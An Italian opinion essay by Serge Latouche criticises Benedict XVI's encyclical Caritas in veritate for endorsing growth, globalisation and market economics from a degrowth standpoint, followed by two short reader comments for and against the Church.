Ratzinger e la «buona» economia: quella del capitale, del profitto, dello sfruttamento

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di Serge Latouche, professore emerito di economia all’università d’Orsay, obiettore di crescita, autore in particolare dell’opera “La scommessa della decrescita” Feltrinelli, 2007.

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Papa Ratzinger

Pur essendo il santo patrono dei banchieri e dei contabili, l’apostolo Matteo fustigava il denaro: «Nessun uomo può servire due padroni. Poiché sempre odierà uno e amerà l’altro. Non si può servire al contempo Dio e Mammona» (Matteo 6, 24). Duemila anni dopo, seduto sul trono di Pietro, Benedetto XVI proclama l’adesione della chiesa cattolica all’economia di mercato… I governi dei paesi occidentali stanno facendo un uso sistematico della «politica dell’ossimoro» (1). L’ossimoro, figura retorica che consiste nel giustapporre due nozioni contrarie, permette ai poeti di far percepire l’indicibile e di esprimere l’inesprimibile; in bocca ai tecnocrati, invece, serve soprattutto a far prendere lucciole per lanterne. La burocrazia vaticana non sfugge alla regola; si può dire anzi che questa politica l’abbia inaugurata. La chiesa ha infatti una lunghissima pratica in fatto di antinomie, fin dai tempi degli eretici bruciati vivi per amore, delle crociate e di altre «guerre sante». Benedetto XVI, con l’enciclica del 20 giugno 2009, Caritas in veritate («Carità nella verità»), ce ne offre un esempio ulteriore a proposito dell’economia (2).

Agli occhi di certi religiosi (Alex Zanotelli, Achille Rossi, Luigi Ciotti, Raimon Panikkar, senza dimenticare i sostenitori della poco ortodossa teologia della liberazione), o a quelli di Ivan Illich o di Jacques Ellul, la società della crescita è da condannare per la sua perversione intrinseca, e non per via di eventuali deviazioni. Tuttavia, la dottrina vaticana non imbocca questa strada. Né il capitalismo, né il profitto, né la globalizzazione, né lo sfruttamento della natura, né le esportazioni di capitali, né la finanza, né ovviamente la crescita e lo sviluppo sono condannati in quanto tali: solo i loro «eccessi» sono colpevoli. Quel che colpisce, è il primato della doxa economica sulla doxa evangelica. L’economia, invenzione moderna per eccellenza, è posta come un’essenza che non può essere rimessa in questione. «La sfera economica non è né eticamente neutrale, né di sua natura disumana e antisociale» (p. 57). Da qui, ne deriva che essa – e tutto quel che implica – può essere buona. In questo modo, la mercificazione del lavoro non viene denunciata né condannata.

Si ricorda che Paolo VI insegnava che «ogni lavoratore è un creatore» (p. 65). È vero, questo, per la cassiera del supermercato? L’affermazione suona – sarà un caso? – come l’involontario e sinistro umorismo di Stalin quando diceva: «Con il socialismo, anche il lavoro diventa più leggero». L’enciclica mostra uno sviluppismo stupefacente. La parola «sviluppo» vi compare 258 volte in 127 paginette, ossia due volte per pagina in media. Certo, si tratta di uno sviluppismo umanista: sviluppo di «ogni persona», «personale», «umano» e «umano integrale», «veramente umano», «autentico», «di ogni uomo e di tutti gli uomini», e anche di «un autentico sviluppo umano integrale» (p. 110). Esso è equiparato al benessere sociale, alla «soluzione adeguata ai gravi problemi socio-economici che affliggono l’umanità» (p. 7). Questo entusiasmo non è sfuggito ai sostenitori del papa, che ne traggono argomenti in suo favore. «Lo “sviluppo umano integrale” è il concetto fondamentale di tutta l’enciclica, utilizzato almeno 22 volte per allargare il concetto tradizionale di “dignità umana”», sottolinea la docente universitaria britannica Margaret Archer, che fa parte dell’Accademia pontificia delle scienze sociali (3). Si assiste anche al feticismo sacralizzante di questa nozione: «Se l’uomo (…) non avesse una natura destinata a trascendersi, (…) si potrebbe parlare di aumento o di evoluzione, e non di sviluppo». Lo sviluppo dei popoli viene considerato una «vocazione». «Il Vangelo, viene detto, costituisce un elemento fondamentale dello svi-

luppo» perché rivela l’uomo a se stesso. Col beneplacito, naturalmente, di Paolo VI, di cui si ricorda l’enciclica Populorum progressio del 1967: «I popoli della fame interrogano oggi drammaticamente i popoli dell’opulenza» (p. 24), una strizzata d’occhio del papa alla famosa formula del suo predecessore: «Lo sviluppo è il nuovo nome della pace». Tuttavia, a dispetto dell’infelice espressione di Paolo VI, lo sviluppo non è il nuovo nome della pace, ma quello della guerra: guerra per il petrolio o per le risorse naturali che stanno scomparendo. Fin dall’origi ne, la crescita e lo sviluppo sono state imprese aggressive: guerra contro la natura, guerra all’economia di sussistenza e a quel che Ivan Illich chiama «il vernacolare». Molto prima che il presidente Eisenhower denunciasse il complesso militare-industriale, l’industria di guerra si riconvertiva in industria dello sviluppo forzato, e viceversa: i trattori sostituivano i carri armati, i pesticidi il gaz da combattimento, e le sementi chimiche gli esplosivi. Al contrario, la via della decrescita rimetterebbe la pace e la giustizia al centro della società. Ma essa implica una de-crescita: abolire la fede nell’economia, rinunciare al rito del consumo e al culto del denaro. Non per ricadere nell’illusione di una società da cui il male verrebbe definitivamente sradicato, ma per costruire una società in tensione, che affronta le sue imperfezioni e le sue contraddizioni dandosi come orizzonte il bene comune, piuttosto che incoraggiare l’avidità selvaggia.

Ora, non solo il papa non sceglie questa strada, ma una piccola frase sembra prendere di mira gli «obiettori di crescita»: «L’idea di un mondo senza sviluppo esprime una mancanza di fede nell’uomo e in Dio» (p. 20). Vengono assunti tutti i luoghi comuni dello sviluppismo: «Lo sviluppo è stato e continua a essere un fattore positivo che ha fatto uscire dalla miseria miliardi di persone e che, ultimamente, ha dato a molti paesi la possibilità di diventare attori efficaci della politica internazionale» (p. 30). Un’affermazione superficiale probabilmente mutuata dal suo «esperto», l’economista Stefano Zamagni. Questi, in un’intervista alla rivista Un mondo possibile, dichiara: «Anche tenendo conto della crescita della popolazione, si può dire che la percentuale dei poveri in termini assoluti sia passata dal 62% nel 1978 al 29% nel 1998 (4)». Non si sa bene dove abbia trovato queste cifre. Se, effettivamente, i rapporti della Banca mondiale indicano una diminuzione della percentuale statistica della povertà assoluta (e, in ogni caso, questo non significa granché) in ragione dell’effetto meccanico della crescita cinese, è vero che si tratta di una diminuzione molto modesta, e non di una diminuzione così spettacolare, in grado di nutrire le fantasie degli sviluppisti impenitenti. Zamagni dovrebbe ricordarsi la lezione di Trilussa:quando si passa da due polli per due abitanti che ne producono uno ciascuno, a quattro prodotti da uno solo, la media passa da uno a due, ma la metà della popolazione ne risulta impoverita.

In tutta carità cristiana, sarebbe stato più interessante ricordarsi che nel settembre 2008, il direttore generale dell’Organizzazione delle Nazioni unite per l’agricoltura (Fao), Jacques Diouf, annunciava che il numero di affamati cronici era passato da 848 milioni per il periodo 2003-2005 a 923 milioni alla fine del 2007. O ancora, si sarebbe dovuto far riferimento ai paradossi messi in rilievo dalla New Economics Foundation: da qualche anno, questa organizzazione non governativa britannica stabilisce un «indice della felicità» (Happy Planet Index) che capovolge sia l’ordine classico del prodotto interno lordo a testa che quello dell’indice di sviluppo umano. Per Benedetto XVI, la globalizzazione appare una buona cosa, al pari del libero scambio. Si è vicini alle posizioni dell’Organizzazione mondiale del commercio (Wto), della Banca mondiale e del Fondo monetario internazionale (Fmi), il cui ex direttore, Michel Camdessus, fu consigliere di Giovanni Paolo II. In un libro intitolato Notre foi dans ce siècle (La nostra fede in questo secolo), scritto insieme a Michel Albert e Jean Boissonnat, Camdessus vedeva nella globalizzazione «l’avvento di un mondo unificato e più fraterno». I nostri esperti cristiani osano addirittura affermare: «La globalizzazione è una forma secolarizzata di cristianizzazione del mondo (5)».

La globalizzazione sarebbe «il principale motore per l’uscita dal sottosviluppo» (p. 50). E così «non c’è ragione di negare che un certo capitale possa fare del bene, se è investito all’estero piuttosto che in patria» (p.64). La delocalizzazione felice! «Non c’è altresì ragione di negare che la delocalizzazione, quando comporta investimenti e formazione, possa far del bene alle popolazioni del paese che la ospita» (p. 64). Conformemente alla dottrina del Wto, il protezionismo dei ricchi viene condannato. Sarebbe anzi proprio questo protezionismo a impedire ai paesi poveri di esportare i loro prodotti e accedere ai benefici dello sviluppo; in breve, sarebbe la causa della loro miseria. «Il principale aiuto di cui hanno bisogno i paesi in via di sviluppo è quello di consentire e favorire il progressivo inserimento dei loro prodotti nei mercati internazionali, rendendo così possibile la loro piena partecipazione alla vita economica internazionale» (p. 98). Neanche una parola sull’ingiustizia e l’immoralità del libero scambio imposto ai paesi poveri; basta aiutarli ad adattarsi: «È pertanto necessario aiutare tali paesi a migliorare i loro prodotti e ad adattarli meglio alla domanda» (p. 98). Anche il turismo «può costituire un notevole fattore di sviluppo economico e di crescita culturale» (p. 102). Bisogna intendere che, se non è di natura sessuale, il turismo organizzato sia il proseguimento delle peregrinazioni di san Paolo e degli apostoli?

Grazie alla confusione mantenuta dall’ideologia dominante tra «i mercati» e «il mercato», cioè tra lo scambio tradizionale e la logica della mercificazione totale, anche l’omonima economia non viene condannata: «La società non deve proteggersi dal mercato come se lo sviluppo di quest’ultimo implicasse ipso facto la morte dei rapporti autenticamente umani». Quanto alla distruzione dell’ambiente, il problema viene effettivamente evocato, ma rapidamente accantonato. Alla fine, si fa appello a un «governo responsabile sulla natura per custodirla, metterla a profitto e coltivarla anche in forme nuove e con tecnologie avanzate in modo che essa possa degnamente accogliere e nutrire la popolazione che la abita» (p.84). Per grazia di Dio e della tecnica: è un po’ poco.

I disastri dell’economia capitalista non valgono dunque la condanna dei suoi agenti. Responsabili, certo, ma non colpevoli, se il profitto è stato estorto per «un buon motivo». Come per la tortura dell’Inquisizione, la soluzione della quadratura del cerchio tra la logica economica e l’etica cristiana è senza dubbio nel «Che ciò sia fatto senza odio!» dei manuali dei grandi inquisitori, senza odio, e anzi con amore. L’«economicizzazione» del mondo può dunque realizzarsi sotto il segno della carità: è la grande riconciliazione tra Dio e Mammona. La favola del miglior interesse che favorisce la manovra è, naturalmente spiegata a lungo e in dettaglio. «C’è una convergenza tra scienza economica e valutazione morale. I costi umani sono anche sempre costi economici» (p. 48). Salvi! Si possono servire due padroni. E poi tutto questo deve bagnarsi nell’acqua benedetta dei buoni sentimenti, il buonismo, di cui l’Italia, per l’influenza del potere temporale del papato, è specialista. «L’economia, infatti, ha bisogno dell’etica per il suo corretto funzionamento» (p. 75).

Che felicità! Viene così lanciato un appello vigoroso alla «responsabilità sociale» dell’impresa. Siccome questo rischia di non bastare, si introduce come rinforzo nelle acque ghiacciate del calcolo economico il dolce calore della logica del dono e del perdono (p. 5): «Il principio della gratuità e la logica del dono come espressio ne della fraternità possono e devono trovare posto entro la normale attività economica» (p. 58). Il settore del no-profit, il terzo settore, l’economia civile sono menzionati ed esaltati. «È la stessa pluralità delle forme istituzionali d’impresa a generare un mercato più civile e al tempo stesso più competitivo» (p. 78): sempre il mito della buona azione-buon affare. Come se la concorrenza, promossa da Bruxelles, non fosse già riuscita al contrario a smantellare ciò che rimaneva dell’economia sociale e mutualista, così come una larga parte del settore pubblico. In finale, la condanna delle ingiustizie e dell’immoralità dell’economia mondiale attuale va assai meno lontano di quella del G20 di Londra e del presidente francese Nicolas Sarkozy che denuncia gli «eccessi» della finanza e del neoliberismo e si appella a una moralizzazione del capitalismo, o quella del presidente americano Barack Obama che fustiga l’oscenità dei bonus e dei superprofitti delle banche. Vien da dire che il Grande inquisitore di Dostoïevski, ne I fratelli Karamazov, aveva ragione di dire a Cristo: «Vattene e non tornare mai più…».

(1) Bertrand Méheust, La Politique de l’oxymore, La Découverte, Parigi, 2009.
(2) Tutte le citazioni dell’enciclica si riferiscono all’edizione italiana: Benedetto XVI, Caritas in veritate, Libreria Editrice Vaticana, Roma, 2009.
(3) Margaret Archer, «L’enciclica di Benedetto provoca la teoria sociale», Vita e Pensiero, n. 5, Milano, settembre-ottobre 2009.
(4) «Caritas in veritate e nuovo ordine economico», Un mondo possibile, Treviso, n° 22, settembre 2009, p. 6.
(5) Michel Albert, Jean Boissonnat e Michel Camdessus, Notre foi dans le siècle, Arléa, Parigi, 2002.

Fonte Le Monde Diplomatique, titolo originale: DECODIFICA DELL’ENCICLICA «CARITAS IN VERITATE»

0 Comments

  1. Mag

    Lei è certamente un economista. Ma di teologia non ne capisce granchè. Mi sembra che il suo sia solo un attaco gratuito e anticlericarista ad personam. Le ricordo che questo papa è stato presidente del dicastero della dottrina della fede per 25 anni con il precedente papa. Per cui le idee di giovanni paolo II erano vagliate dall’attuale papa.
    Inoltre, mi meraviglia il suo parlare retorico. La storia ci ha inseganto che il capitalismo, con tutti i suoi limiti, è certamente migliore di tutti gli altri tentativi di intendere l’economia. O lei ne ha inventao un altro e più efficace?!!

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  2. Dario Colombera

    Se il comportamento ufficiale della Chiesa Cattolica è contrario allo spirito e alla lettera dei Vangeli e alla morale laica più banale, è assurdo permettere che si definisca cristiana e che esista un Concordato,. Quelli che vanno in Chiesa dovrebbero smettere di tollerare i falsi ed incominciare a difendere i loro veri martiri: i pochi veri profeti, sempre tanto maltrattati dalle Autorità vaticane..
    Amen

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